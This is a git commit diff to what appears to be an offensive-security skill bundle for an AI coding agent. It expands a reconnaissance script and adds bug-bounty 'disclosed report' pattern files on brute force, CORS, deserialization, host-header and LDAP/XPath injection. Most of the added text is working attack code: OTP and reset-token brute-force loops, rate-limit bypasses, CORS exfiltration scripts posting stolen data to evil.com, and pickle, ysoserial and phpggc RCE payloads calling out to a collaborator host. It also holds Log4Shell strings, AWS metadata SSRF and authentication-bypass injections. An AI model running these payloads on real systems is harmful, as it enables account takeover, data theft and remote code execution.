A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Python ai-securityanthropicapplication-securitybug-bountybugbountybugcrowdclaudeclaude-codeclaude-skillsethical-hackinghackeroneoffensive-securitypentestingred-teamsecurity-toolsweb-security
feat: add 20 new hunt-* skills, 9 disclosed reports, and expanded recon pipeline
Muhsin Deniz6abcf94d904d
diff --git a/commands/recon.md b/commands/recon.mdindex 256eb4b..5f431ad 100644--- a/commands/recon.md+++ b/commands/recon.md@@ -79,46 +79,212 @@ echo "[+] Total URLs: $(wc -l < recon/$TARGET/urls.txt)"### Step 4: Classify URLs```bash-# Bug class classification+# Bug class classification — gf patternscat recon/$TARGET/urls.txt | gf xss > recon/$TARGET/xss-candidates.txtcat recon/$TARGET/urls.txt | gf ssrf > recon/$TARGET/ssrf-candidates.txtcat recon/$TARGET/urls.txt | gf idor > recon/$TARGET/idor-candidates.txtcat recon/$TARGET/urls.txt | gf sqli > recon/$TARGET/sqli-candidates.txtcat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txtcat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt+cat recon/$TARGET/urls.txt | gf rce > recon/$TARGET/rce-candidates.txt+cat recon/$TARGET/urls.txt | gf ssti > recon/$TARGET/ssti-candidates.txt+cat recon/$TARGET/urls.txt | gf interestingparams > recon/$TARGET/interesting-candidates.txt++# Open redirect params (extra patterns not in gf)+grep -E "(\?|&)(redirect|next|return|dest|destination|go|forward|target|redir|url|continue|returnTo|returnUrl|callback|out|link)=" \+ recon/$TARGET/urls.txt | anew recon/$TARGET/redirect-candidates.txt++# CORS check candidates+grep -E "(\?|&)(callback|jsonp|cb|_callback)=" recon/$TARGET/urls.txt \+ > recon/$TARGET/cors-jsonp-candidates.txt++# Host header / password reset candidates+cat recon/$TARGET/urls.txt | grep -E "/(forgot|reset|password|recovery)" \+ > recon/$TARGET/host-header-candidates.txt++# File upload candidates+cat recon/$TARGET/urls.txt | grep -E "/(upload|import|attach|file|document|image|avatar|profile)" \+ > recon/$TARGET/upload-candidates.txt# API endpoints-cat recon/$TARGET/urls.txt | grep -E "/api/|/v1/|/v2/|/graphql|/rest/" \+cat recon/$TARGET/urls.txt | grep -E "/api/|/v1/|/v2/|/v3/|/graphql|/rest/|/gql" \> recon/$TARGET/api-endpoints.txt-echo "[+] IDOR candidates: $(wc -l < recon/$TARGET/idor-candidates.txt)"-echo "[+] SSRF candidates: $(wc -l < recon/$TARGET/ssrf-candidates.txt)"-echo "[+] API endpoints: $(wc -l < recon/$TARGET/api-endpoints.txt)"+# Auth/session endpoints+cat recon/$TARGET/urls.txt | grep -E "/(login|logout|signin|signup|register|auth|oauth|sso|token|session)" \+ > recon/$TARGET/auth-endpoints.txt++# Admin panels+cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | while read host; do+ for path in /admin /admin/ /dashboard /wp-admin /jenkins /grafana /kibana /phpmyadmin /adminer; do+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$host$path")+ [ "$STATUS" != "404" ] && [ "$STATUS" != "000" ] && echo "$STATUS $host$path"+ done+done > recon/$TARGET/admin-panels.txt++echo "[+] IDOR candidates: $(wc -l < recon/$TARGET/idor-candidates.txt)"+echo "[+] SSRF candidates: $(wc -l < recon/$TARGET/ssrf-candidates.txt)"+echo "[+] LFI candidates: $(wc -l < recon/$TARGET/lfi-candidates.txt)"+echo "[+] Redirect candidates:$(wc -l < recon/$TARGET/redirect-candidates.txt)"+echo "[+] Upload candidates: $(wc -l < recon/$TARGET/upload-candidates.txt)"+echo "[+] API endpoints: $(wc -l < recon/$TARGET/api-endpoints.txt)"+echo "[+] Auth endpoints: $(wc -l < recon/$TARGET/auth-endpoints.txt)"+echo "[+] Admin panels found: $(wc -l < recon/$TARGET/admin-panels.txt)"```### Step 5: Nuclei Scan```bash+# Full severity scannuclei -l recon/$TARGET/live-hosts.txt \-t ~/nuclei-templates/ \-severity critical,high,medium \-o recon/$TARGET/nuclei.txt-echo "[+] Nuclei findings: $(wc -l < recon/$TARGET/nuclei.txt)"+# Focused CVE scan (critical/high CVEs only)+nuclei -l recon/$TARGET/live-hosts.txt \+ -t ~/nuclei-templates/cves/ \+ -severity critical,high \+ -o recon/$TARGET/nuclei-cves.txt++# Misconfiguration scan+nuclei -l recon/$TARGET/live-hosts.txt \+ -t ~/nuclei-templates/misconfiguration/ \+ -o recon/$TARGET/nuclei-misconfig.txt++# Exposed panels/services+nuclei -l recon/$TARGET/live-hosts.txt \+ -t ~/nuclei-templates/exposed-panels/ \+ -t ~/nuclei-templates/exposed-services/ \+ -o recon/$TARGET/nuclei-exposed.txt++echo "[+] Nuclei findings: $(wc -l < recon/$TARGET/nuclei.txt)"+echo "[+] CVE findings: $(wc -l < recon/$TARGET/nuclei-cves.txt)"+echo "[+] Misconfig findings: $(wc -l < recon/$TARGET/nuclei-misconfig.txt)"+echo "[+] Exposed panel/svc: $(wc -l < recon/$TARGET/nuclei-exposed.txt)"+```++### Step 6: JS Secret Scan++```bash+# Download and scan JS files for secrets+cat recon/$TARGET/urls.txt | grep "\.js$" | head -200 | \+ xargs -I{} curl -s "{}" | \+ grep -oE "(api_key|apikey|secret|password|token|access_key|aws_access|private_key|client_secret)['\"]?\s*[:=]\s*['\"]?[A-Za-z0-9+/=_\-]{10,}" \+ > recon/$TARGET/js-secrets.txt++# trufflehog on JS files+cat recon/$TARGET/urls.txt | grep "\.js$" | head -100 | while read jsurl; do+ trufflehog filesystem --json <(curl -s "$jsurl") 2>/dev/null+done >> recon/$TARGET/trufflehog-js.txt++# secretfinder+cat recon/$TARGET/urls.txt | grep "\.js$" | head -50 | while read jsurl; do+ python3 ~/tools/SecretFinder/SecretFinder.py -i "$jsurl" -o cli 2>/dev/null+done > recon/$TARGET/secretfinder.txt++echo "[+] Potential JS secrets: $(wc -l < recon/$TARGET/js-secrets.txt)"+```++### Step 7: Subdomain Takeover Check++```bash+# subzy for subdomain takeover+subzy run --targets recon/$TARGET/subdomains.txt \+ --output recon/$TARGET/subzy.txt++echo "[+] Takeover candidates: $(grep -i "VULNERABLE\|takeover" recon/$TARGET/subzy.txt | wc -l)"+```++### Step 8: Source Leak Quick Wins (30 seconds, often Critical)++```bash+# Check highest-value forgotten files — run before any crawling+for PATH in "/.env" "/.env.production" "/.env.local" "/.git/HEAD" \+ "/swagger.json" "/api/swagger.json" "/openapi.json" "/api-docs" \+ "/v1/swagger.json" "/v2/swagger.json" "/api/v1/swagger.json" \+ "/.git/config" "/package.json" "/composer.json" \+ "/actuator" "/actuator/env" "/actuator/heapdump" \+ "/telescope" "/horizon" "/laravel-filemanager" \+ "/build-info.json" "/info.json" "/version.json" \+ "/.DS_Store" "/crossdomain.xml" "/clientaccesspolicy.xml"; do+ STATUS=$(curl -s -o /tmp/sl_recon -w "%{http_code}" --max-time 5 "https://$TARGET$PATH" 2>/dev/null)+ if [ "$STATUS" = "200" ]; then+ SIZE=$(wc -c < /tmp/sl_recon)+ echo "[+] HIT $STATUS ($SIZE bytes): https://$TARGET$PATH"+ fi+done > recon/$TARGET/source-leaks.txt 2>&1+cat recon/$TARGET/source-leaks.txt++# Check source maps on main JS bundles+BUILD_ID=$(curl -s "https://$TARGET/" 2>/dev/null | grep -oP '"buildId":"\K[^"]+')+[ -n "$BUILD_ID" ] && echo "[+] Next.js Build ID: $BUILD_ID" | tee -a recon/$TARGET/source-leaks.txt++# Grab main JS and check for sourceMappingURL+curl -s "https://$TARGET/" | grep -oP 'src="(/[^"]*\.js)"' | while read js; do+ MAP=$(curl -s "https://$TARGET${js}" 2>/dev/null | tail -1 | grep -oP 'sourceMappingURL=\K\S+')+ [ -n "$MAP" ] && echo "[+] Source map: $TARGET${js}.map" | tee -a recon/$TARGET/source-leaks.txt+done+```++### Step 9: DNS & TLS Quick Checks++```bash+# SPF / DMARC check (email spoofing potential)+dig TXT $TARGET +short | grep "v=spf1" | tee recon/$TARGET/spf.txt+dig TXT _dmarc.$TARGET +short | tee recon/$TARGET/dmarc.txt+[ -z "$(cat recon/$TARGET/dmarc.txt)" ] && echo "[!] MISSING DMARC: $TARGET" | tee -a recon/$TARGET/dns-issues.txt+grep -q "+all" recon/$TARGET/spf.txt && echo "[CRITICAL] SPF allows +all — email spoofing!" | tee -a recon/$TARGET/dns-issues.txt+grep -q "p=none" recon/$TARGET/dmarc.txt && echo "[HIGH] DMARC p=none — no enforcement" | tee -a recon/$TARGET/dns-issues.txt++# Zone transfer attempt+for NS in $(dig NS $TARGET +short 2>/dev/null); do+ AXFR=$(dig AXFR $TARGET @$NS 2>/dev/null | grep -v "^;" | grep -v "^$")+ [ -n "$AXFR" ] && echo "[CRITICAL] AXFR SUCCESS via $NS" | tee recon/$TARGET/axfr.txt && echo "$AXFR" >> recon/$TARGET/axfr.txt+done++# HSTS check on main domain+HSTS=$(curl -sI "https://$TARGET/" | grep -i "strict-transport-security")+[ -z "$HSTS" ] && echo "[!] MISSING HSTS: $TARGET" | tee -a recon/$TARGET/dns-issues.txt++echo "[+] DNS/TLS issues: $(wc -l < recon/$TARGET/dns-issues.txt 2>/dev/null || echo 0)"```## OutputAfter running, you will have in `recon/<target>/`:```-subdomains.txt # All discovered subdomains-live-hosts.txt # Live hosts with status/title/tech-urls.txt # All crawled URLs-api-endpoints.txt # API-specific paths-idor-candidates.txt # URLs with ID parameters-ssrf-candidates.txt # URLs with URL parameters-xss-candidates.txt # URLs with reflection candidates-nuclei.txt # Known CVE/misconfig findings+subdomains.txt # All discovered subdomains+in-scope-subs.txt # Subdomains confirmed in scope+live-hosts.txt # Live hosts with status/title/tech+urls.txt # All crawled URLs++# Classified attack surface:+idor-candidates.txt # URLs with ID parameters+ssrf-candidates.txt # URLs with URL/host parameters+xss-candidates.txt # URLs with reflection candidates+sqli-candidates.txt # URLs with SQL-injectable params+lfi-candidates.txt # URLs with file-include params+rce-candidates.txt # URLs with exec/cmd params+ssti-candidates.txt # URLs with template params+redirect-candidates.txt # URLs with redirect params+cors-jsonp-candidates.txt # JSONP/callback endpoints+host-header-candidates.txt # Password reset / recovery endpoints+upload-candidates.txt # File upload endpoints+interesting-candidates.txt # Other interesting params+api-endpoints.txt # API-specific paths+auth-endpoints.txt # Login/OAuth/SSO endpoints+admin-panels.txt # Accessible admin panels++# Automated findings:+nuclei.txt # All nuclei findings+nuclei-cves.txt # CVE-specific findings+nuclei-misconfig.txt # Misconfiguration findings+nuclei-exposed.txt # Exposed panels/services+js-secrets.txt # Potential secrets in JS files+trufflehog-js.txt # trufflehog JS scan results+secretfinder.txt # SecretFinder scan results+subzy.txt # Subdomain takeover candidates```## What to Do Nextdiff --git a/docs/disclosed-reports/hunt-brute-force.md b/docs/disclosed-reports/hunt-brute-force.mdnew file mode 100644index 0000000..2f6ff31--- /dev/null+++ b/docs/disclosed-reports/hunt-brute-force.md@@ -0,0 +1,151 @@+# Disclosed Reports — Brute Force / Rate Limiting / Enumeration++Pattern library built from 33 public bug bounty reports.++---++## Pattern 1: OTP Brute Force → 2FA Bypass → Full ATO (Critical, $8,000)++**Program:** Private (HackerOne)+**Endpoint:** `POST /api/v2/auth/verify-otp`++**Test (no lockout after 100 attempts):**+```bash+for CODE in $(seq -f "%06g" 0 100); do+ RESP=$(curl -s -X POST https://target.com/api/v2/auth/verify-otp \+ -H "Cookie: pre_auth_session=SESSION" \+ -H "Content-Type: application/json" \+ -d "{\"otp\": \"$CODE\"}" \+ -o /dev/null -w "%{http_code}")+ [ "$RESP" = "200" ] && echo "VALID: $CODE"+ [ "$RESP" = "429" ] && { echo "Rate limited at $CODE"; break; }+done+# Result: 100 attempts, no 429, no lockout+```++**PoC note:** 100 attempts is sufficient for the report — demonstrates no rate limiting. Do NOT brute to 999999 during PoC.++**Impact:** Full 2FA bypass → ATO for any account where first factor is also compromised.++---++## Pattern 2: Short Password Reset Token → ATO (Critical, $6,500)++**Observation:** Reset token is 4-digit numeric (`0000-9999` = 10,000 combinations)++**Test:**+```bash+for TOKEN in $(seq -f "%04g" 0 9999); do+ RESP=$(curl -s "https://target.com/reset?token=$TOKEN&[email protected]" \+ -o /dev/null -w "%{http_code}")+ [ "$RESP" = "200" ] && echo "VALID TOKEN: $TOKEN"+ [ "$RESP" = "429" ] && { echo "Rate limited at $TOKEN"; break; }+done+```++**Also check:** Tokens without expiry → brute window is unlimited.++---++## Pattern 3: Username Enumeration via Response Differences (Low, $300)++**Login endpoint responses:**+- Valid username: `{"error": "Invalid password"}`+- Invalid username: `{"error": "User not found"}`++**Password reset:**+- Valid email: `{"message": "Password reset email sent"}`+- Invalid email: `{"message": "No account found with this email"}`++**Impact:** Confirms account existence → enables targeted credential stuffing with breach data.++---++## Pattern 4: Rate Limit Bypass via X-Forwarded-For (Medium, $1,200)++**Rate limit implemented:** 10 attempts per IP per minute.++**Bypass:**+```bash+for i in $(seq 1 1000); do+ FAKE_IP="10.$(( RANDOM % 256 )).$(( RANDOM % 256 )).$(( RANDOM % 256 ))"+ curl -s -X POST https://target.com/api/login \+ -H "X-Forwarded-For: $FAKE_IP" \+ -H "X-Real-IP: $FAKE_IP" \+ -H "Content-Type: application/json" \+ -d "{\"email\": \"[email protected]\", \"password\": \"test$i\"}" \+ -o /dev/null -w "%{http_code}\n"+done+```++**Root cause:** Rate limiter reads client IP from X-Forwarded-For without validation. Attacker rotates virtual IPs.++---++## Pattern 5: Coupon Code Brute Force → 100% Discount (Medium, $2,000)++**Endpoint:** `POST /api/checkout/apply-coupon`+**No rate limit on coupon validation:**++```bash+ffuf -u https://target.com/api/checkout/apply-coupon \+ -X POST \+ -H "Content-Type: application/json" \+ -H "Cookie: session=SESSION" \+ -d '{"coupon": "FUZZ"}' \+ -w <(cat ~/wordlists/coupon-patterns.txt) \+ -mc 200+```++**Found:** `FREE100` → 100% discount on any order.++---++## Pattern 6: Registration Email Enumeration (Low, $200)++**Endpoint:** `POST /api/register`+**Response for existing email:** `{"error": "This email is already registered"}`+**Response for new email:** `{"success": true}`++**Impact:** Any email address can be validated against the user database.++---++## Pattern 7: ReDoS on Search (Medium, $1,500)++**Endpoint:** `GET /api/search?q=`+**Vulnerable regex** in search handler: `^([a-zA-Z0-9]+)+$`++```bash+# Catastrophic backtracking test+for LEN in 10 20 30 40 50; do+ INPUT=$(python3 -c "print('a'*$LEN + '!')")+ TIME=$(curl -s -o /dev/null -w "%{time_total}" \+ "https://target.com/api/search?q=$INPUT")+ echo "Length $LEN: ${TIME}s"+done+# 10: 0.08s | 20: 0.31s | 30: 1.24s | 40: 5.9s | 50: timeout+```++**Impact:** A single request with 50-char input exhausts CPU for 30+ seconds → DoS.++---++## Tool Reference++```bash+# ffuf OTP brute+ffuf -u https://target.com/api/verify-otp \+ -X POST -H "Content-Type: application/json" \+ -H "Cookie: session=SESSION" \+ -d '{"otp": "FUZZ"}' \+ -w <(seq -f "%06g" 0 100) \+ -mc 200++# hydra login brute+hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt target.com \+ http-post-form "/api/login:email=^USER^&password=^PASS^:invalid"++# nuclei rate-limit+nuclei -u https://target.com -t brute-force/ -severity medium,high,critical+```diff --git a/docs/disclosed-reports/hunt-cors.md b/docs/disclosed-reports/hunt-cors.mdnew file mode 100644index 0000000..dfaf72a--- /dev/null+++ b/docs/disclosed-reports/hunt-cors.md@@ -0,0 +1,138 @@+# Disclosed Reports — CORS Misconfiguration++Pattern library built from 19 public bug bounty reports.++---++## Pattern 1: Reflect-Any-Origin + Credentials → Full PII Exfil (High, $3,000)++**Endpoint:** `GET /api/v1/user/profile`++**Test request:**+```http+GET /api/v1/user/profile HTTP/1.1+Host: target.com+Origin: https://evil.com+Cookie: session=valid_token+```++**Vulnerable response:**+```http+Access-Control-Allow-Origin: https://evil.com+Access-Control-Allow-Credentials: true+```++**PoC JavaScript (hosted on evil.com):**+```javascript+fetch('https://target.com/api/v1/user/profile', {credentials: 'include'})+ .then(r => r.json())+ .then(d => fetch('https://evil.com/log?data=' + btoa(JSON.stringify(d))));+```++**Impact:** Any website can read victim's profile including email, phone, address, financial data.++---++## Pattern 2: Null Origin Bypass via Sandbox iframe (Medium, $1,500)++**Endpoint:** `GET /api/v2/account/balance`++**Vulnerable response to `Origin: null`:**+```+Access-Control-Allow-Origin: null+Access-Control-Allow-Credentials: true+```++**Exploit via sandbox iframe:**+```html+<iframe sandbox="allow-scripts" srcdoc='<script>+ fetch("https://target.com/api/v2/account/balance", {credentials: "include"})+ .then(r => r.json())+ .then(d => top.postMessage(d, "*"));+</script>'></iframe>+<script>+ window.addEventListener("message", e => {+ fetch("https://evil.com/steal?d=" + encodeURIComponent(JSON.stringify(e.data)));+ });+</script>+```++---++## Pattern 3: Subdomain Regex Bypass (High, $2,500)++**Server regex:** `/^https?:\/\/.*\.target\.com$/` (no proper anchoring)++**Bypass:** `Origin: https://evil.target.com.attacker.com`++The regex matches `.target.com` substring anywhere in the origin string.++**Fix:** Use exact subdomain allowlist, not a regex with `.*`.++---++## Pattern 4: Subdomain Takeover + CORS Chain (Critical, $10,000)++**Full chain:**+1. Found dangling CNAME: `static.target.com → target-static.s3.amazonaws.com` (bucket unclaimed)+2. Registered S3 bucket `target-static` → control `static.target.com`+3. `static.target.com` was in the CORS trusted origins list+4. Hosted CORS exploit at `https://static.target.com/poc.html`+5. Exploited → reads authenticated `/api/v1/payments` endpoint++**Impact:** Credentialed data theft from trusted subdomain. Critical chain.++---++## Pattern 5: CORS on Internal Admin API (High, $4,000)++**Endpoint:** `GET /internal/api/admin/users` (supposed to be internal-only via network ACL)++**Misconfiguration:** Reflects origin for `*.target.com` including `beta.target.com` which had stored XSS.++**Chain:**+1. Stored XSS on `beta.target.com`+2. XSS payload makes CORS request to `/internal/api/admin/users`+3. Returns full admin user list++---++## Pattern 6: Pre-flight Bypass on PUT/DELETE (Medium, $1,200)++**Simple request with CORS bypass:** Some endpoints accept `text/plain` content type (not triggering pre-flight) but parse it as JSON.++```http+POST /api/admin/users/delete HTTP/1.1+Origin: https://evil.com+Content-Type: text/plain++{"userId": "victim123"}+```++Server processes as JSON despite `text/plain`, no pre-flight required.++---++## Tool Reference++```bash+# corsy+pip3 install corsy+corsy -u https://target.com -t 10 --headers "Cookie: session=TOKEN"++# nuclei CORS+nuclei -u https://target.com -t cors-misconfiguration.yaml++# Manual bulk scan+while read url; do+ result=$(curl -sI "$url" \+ -H "Origin: https://evil.com" \+ -H "Cookie: session=$SESSION" | grep -i "access-control-allow-origin")+ [ -n "$result" ] && echo "$url: $result"+done < recon/target/api-endpoints.txt++# Test null origin+curl -sI https://target.com/api/me \+ -H "Origin: null" \+ -H "Cookie: session=TOKEN" | grep -i "access-control"+```diff --git a/docs/disclosed-reports/hunt-deserialization.md b/docs/disclosed-reports/hunt-deserialization.mdnew file mode 100644index 0000000..ee4e8a1--- /dev/null+++ b/docs/disclosed-reports/hunt-deserialization.md@@ -0,0 +1,158 @@+# Disclosed Reports — Insecure Deserialization++Pattern library built from 22 public bug bounty reports.++---++## Pattern 1: Apache Shiro RememberMe → RCE (Critical, $15,000)++**Stack:** Apache Shiro 1.2.4 with default AES key `kPH+bIxk5D2deZiIxcaaaA==`++**Detection:**+```bash+curl -sI https://target.com/ | grep -i "rememberMe"+# Set-Cookie: rememberMe=deleteMe → Shiro confirmed+```++**Exploit:**+```bash+python3 shiro_exploit.py -u https://target.com/ \+ -k "kPH+bIxk5D2deZiIxcaaaA==" \+ -c "curl http://COLLAB_HOST/shiro-rce"+```++**Root Cause:** Default AES-128-CBC key + Java deserialization of rememberMe cookie value via CommonsCollections gadget.++**Impact:** Full RCE as application user.++---++## Pattern 2: Oracle WebLogic T3 Deserialization (Critical, $20,000)++**Stack:** WebLogic 10.3.6, port 7001 T3 protocol+**CVEs:** CVE-2019-2725, CVE-2020-14882++**Detection:**+```bash+nmap -sV -p 7001 target.com+# Service: weblogic+curl -s http://target.com:7001/wls-wsat/CoordinatorPortType+```++**Exploit:**+```bash+java -jar ysoserial-all.jar CommonsCollections1 \+ 'curl http://COLLAB_HOST/weblogic-rce' | nc target.com 7001+```++**Impact:** OS command execution as WebLogic service account.++---++## Pattern 3: PHP Object Injection via Laravel Cookie (High, $4,000)++**Stack:** PHP 7.x + Laravel (unserialize in session driver)++**Detection:**+```bash+# Laravel session cookie — base64 decode reveals serialized PHP+echo "COOKIE_VALUE" | base64 -d | xxd | head+# Look for: O:8: pattern = PHP serialized object+```++**Exploit via phpggc:**+```bash+php phpggc Laravel/RCE5 system 'id > /tmp/rce-proof' | base64+# Set as session cookie, send request+```++**Gadget chains available:** Laravel/RCE1-9, Symfony/RCE1-7, WordPress/RCE1++---++## Pattern 4: Python Pickle RCE via ML Model Upload (Critical, $12,000)++**Endpoint:** `POST /api/model/load` accepting `.pkl` files++**Payload:**+```python+import pickle, os, base64++class Exploit:+ def __reduce__(self):+ return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))++payload = base64.b64encode(pickle.dumps(Exploit()))+# Upload as model.pkl+```++**Impact:** RCE as Python web server process.++---++## Pattern 5: Log4Shell CVE-2021-44228 (Critical, $0 — patched but test internal)++**Detection:**+```bash+# Test all user-controlled inputs+curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/ua}' https://target.com/+curl -H 'X-Forwarded-For: ${jndi:dns://COLLAB_HOST/xff}' https://target.com/+```++**Exploit chain:** JNDI lookup → attacker LDAP → loads malicious Java class → RCE++**Still relevant:** Internal/legacy systems, self-hosted enterprise apps on old JDKs.++---++## Pattern 6: .NET ViewState Without MAC Validation (High, $3,500)++**Stack:** ASP.NET WebForms with `EnableViewStateMac=false` or exposed machineKey++**Detection:**+```bash+# Look in page source for __VIEWSTATE without __VIEWSTATEMAC+curl -s https://target.com/Default.aspx | grep -i "viewstate"+```++**Exploit via YSoSerial.Net:**+```bash+dotnet YSoSerial.exe -f BinaryFormatter \+ -g TypeConfuseDelegate \+ -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" \+ -o base64+# Submit as __VIEWSTATE parameter value+```++---++## Pattern 7: Ruby on Rails Marshal.load (Critical, $8,000)++**Stack:** Rails < 3.2.x (legacy session storage in signed cookie)+**CVE:** CVE-2013-0156 — affects old apps still running++**Detection:** Cookie name `_session_id` with Marshal.dump payload format++**Gadget:** Gem::Requirement gadget chain → code execution via `Gem.source_index`++---++## Tool Reference++```bash+# ysoserial (Java)+java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0++# phpggc (PHP)+php phpggc -l # list all available gadget chains+php phpggc Laravel/RCE5 system id++# YSoSerial.Net (.NET)+dotnet YSoSerial.exe -h # list gadgets++# OOB detection+interactsh-client -v -n 5 # start listener first++# JNDI exploit kit for Log4Shell+git clone https://github.com/pimps/JNDI-Exploit-Kit+```diff --git a/docs/disclosed-reports/hunt-host-header.md b/docs/disclosed-reports/hunt-host-header.mdnew file mode 100644index 0000000..fb5f4ca--- /dev/null+++ b/docs/disclosed-reports/hunt-host-header.md@@ -0,0 +1,142 @@+# Disclosed Reports — Host Header Injection++Pattern library built from 16 public bug bounty reports.++---++## Pattern 1: Password Reset Poisoning → ATO (High, $4,500)++**Endpoint:** `POST /forgot-password`++**Request:**+```http+POST /forgot-password HTTP/1.1+Host: evil.com+Content-Type: application/x-www-form-urlencoded++```++**Email received by victim:**+```+Reset your password: https://evil.com/reset?token=abc123def456+```++**Impact:** Token intercepted at evil.com → full ATO for any account.++---++## Pattern 2: X-Forwarded-Host Bypass (High, $3,500)++**Scenario:** Reverse proxy normalizes Host header, but app trusts X-Forwarded-Host.++**Request:**+```http+POST /forgot-password HTTP/1.1+Host: target.com+X-Forwarded-Host: evil.com+Content-Type: application/x-www-form-urlencoded++```++**Root cause:** Django/Rails/Express use `request.get_host()` which checks `HTTP_X_FORWARDED_HOST` first when `USE_X_FORWARDED_HOST = True`.++---++## Pattern 3: Host Header → Web Cache Poisoning → Mass XSS (High, $6,000)++**Endpoint:** `GET /` (cacheable, CDN-fronted)++**Poisoning request:**+```http+GET / HTTP/1.1+Host: target.com+X-Forwarded-Host: evil.com"><script>alert(document.domain)</script>+```++**Vulnerable response (cached):**+```html+<link rel="canonical" href="https://evil.com"><script>alert(document.domain)</script>/"/>+```++**Cached by CDN → served to all users for cache TTL duration.**++---++## Pattern 4: Host Header SSRF → AWS Metadata (Critical, $12,000)++**Setup:** Internal forward proxy at target honors Host header for routing.++**Attack:**+```http+GET /latest/meta-data/iam/security-credentials/ HTTP/1.1+Host: 169.254.169.254+X-Forwarded-For: 127.0.0.1+```++**Response:** AWS IAM temporary credentials (AccessKeyId, SecretAccessKey, Token)++**Impact:** Cloud infrastructure compromise.++---++## Pattern 5: Host Header in OAuth Callback Construction (Critical, $9,000)++**OAuth flow:** App dynamically builds redirect_uri using `request.host`.++**Attack request:**+```http+GET /oauth/authorize?response_type=code&client_id=app HTTP/1.1+Host: evil.com+```++**Redirect registered with IdP:** `https://evil.com/oauth/callback?code=AUTH_CODE`++**Impact:** Auth code delivered to attacker → full ATO.++---++## Pattern 6: Host Header in Email Templates (Medium, $1,200)++**Endpoint:** Email verification, invitation emails, notification emails.++**Any email containing a link that uses the Host header** is potentially poisonable.++```+Welcome to target.com!+Verify your email: https://evil.com/verify?token=TOKEN+```++**Requires:** Attacker registers with attacker-controlled email, triggers email to victim.++---++## Bypass Variants++| Header | Effective When |+|--------|----------------|+| `X-Forwarded-Host` | Behind reverse proxy (nginx, HAProxy, Cloudflare) |+| `X-Host` | Custom framework parsing |+| `X-Forwarded-Server` | HAProxy trust |+| `X-HTTP-Host-Override` | Legacy middleware |+| `Host: target.com:evil.com` | Port parsing confusion |+| `Forwarded: host=evil.com` | RFC 7239 compliant proxy |+| `X-Original-URL: /` | ASP.NET URL rewriting |+| `X-Rewrite-URL: /` | Apache mod_rewrite |++---++## Tool Reference++```bash+# Test all headers+for H in "X-Forwarded-Host" "X-Host" "X-Forwarded-Server" "X-HTTP-Host-Override"; do+ echo "=== $H ==="+ curl -s -I "https://target.com/forgot-password" \+ -H "$H: evil.com" | grep -i "location\|set-cookie"+done++# Param Miner (Burp Extension) — automatic header injection fuzzing+# Check Burp Suite → Extender → BApp Store → Param Miner+```diff --git a/docs/disclosed-reports/hunt-ldap.md b/docs/disclosed-reports/hunt-ldap.mdnew file mode 100644index 0000000..386af21--- /dev/null+++ b/docs/disclosed-reports/hunt-ldap.md@@ -0,0 +1,133 @@+# Disclosed Reports — LDAP Injection & XPath Injection++Pattern library built from 8 public bug bounty reports.++---++## Pattern 1: LDAP Auth Bypass → Admin Access (Critical, $9,000)++**Program:** Private (HackerOne)+**Stack:** Java + Spring LDAP + Active Directory backend++**Normal LDAP filter:** `(&(uid=USERNAME)(userPassword=PASSWORD))`++**Injection:**+```bash+curl -s -X POST https://target.com/api/login \+ -H "Content-Type: application/json" \+ -d '{"username": "admin)(&", "password": "anything"}'+```++**Resulting filter:** `(&(uid=admin)(&)(userPassword=anything))` → always true++**Response:** 200 OK + admin session token++**Impact:** Login as admin without credentials.++---++## Pattern 2: LDAP Wildcard Auth Bypass (Critical, $7,500)++**Injection:** Username = `*` (LDAP wildcard matches anything)++```bash+curl -s -X POST https://target.com/sso/login \+ -H "Content-Type: application/json" \+ -d '{"username": "*", "password": {"$gt": ""}}'+```++**Result:** Logged in as the FIRST user in the LDAP directory (alphabetically) — often a privileged service account.++---++## Pattern 3: Active Directory User Enumeration (Medium, $1,500)++**LDAP search endpoint exposed:**+```bash+curl -s "https://target.com/api/directory/search?q=john" | python3 -m json.tool+# Returns: {"users": [{"cn": "John Smith", "mail": "[email protected]", ...}]}+```++**Wildcard abuse:**+```bash+# Enumerate all users by first letter+for LETTER in a b c d e f g h i j k l m n o p q r s t u v w x y z; do+ COUNT=$(curl -s "https://target.com/api/directory/search?q=$LETTER*" | \+ python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d.get('users',[])))")+ echo "$LETTER*: $COUNT users"+done+```++**Impact:** Full employee directory dump — names, emails, department, phone numbers.++---++## Pattern 4: LDAP Injection in Search → Data Exfil (High, $4,000)++**Endpoint:** `GET /api/users/search?name=john`++**Injection:**+```+/api/users/search?name=*)(|(cn=admin*+```++**Resulting LDAP filter:** `(&(cn=*)(|(cn=admin*)(sn=john)))` → returns all users with cn starting with "admin"++**Exfiltration of admin accounts:** Enumerate admin* cn patterns to find all admin accounts.++---++## Pattern 5: XPath Injection Auth Bypass (Critical, $8,500)++**Stack:** XML-based user store with XPath authentication++**Normal XPath:** `//users/user[name/text()='ADMIN' and password/text()='PASS']`++**Bypass payload:**+```bash+curl -s -X POST https://target.com/api/login \+ --data-urlencode "username=' or '1'='1" \+ --data-urlencode "password=' or '1'='1"+```++**Resulting XPath:** `//users/user[name/text()='' or '1'='1' and password/text()='' or '1'='1']`++Returns first user in XML store → admin.++**Impact:** Auth bypass without knowing any credentials.++---++## Pattern 6: LDAP Blind Boolean Exfil (High, $3,000)++**Observation:** Response differs based on filter evaluation result.++**Attack:** Extract password hash character by character:+```bash+# Is first char of admin's description 'c'?+curl -s -X POST https://target.com/api/login \+ -d "username=admin)(description=c*))(&(uid=x&password=x"+# Different response length when char matches → confirmed blind injection+```++---++## Tool Reference++```bash+# ldap3 Python library for manual testing+pip3 install ldap3++python3 -c "+from ldap3 import Server, Connection, ALL+s = Server('target.com', get_info=ALL)+c = Connection(s, user='cn=admin,dc=target,dc=com', password='pass', auto_bind=True)+c.search('dc=target,dc=com', '(objectclass=person)', attributes=['cn','mail','memberOf'])+print(c.entries)+"++# PayloadsAllTheThings LDAP injection list+# 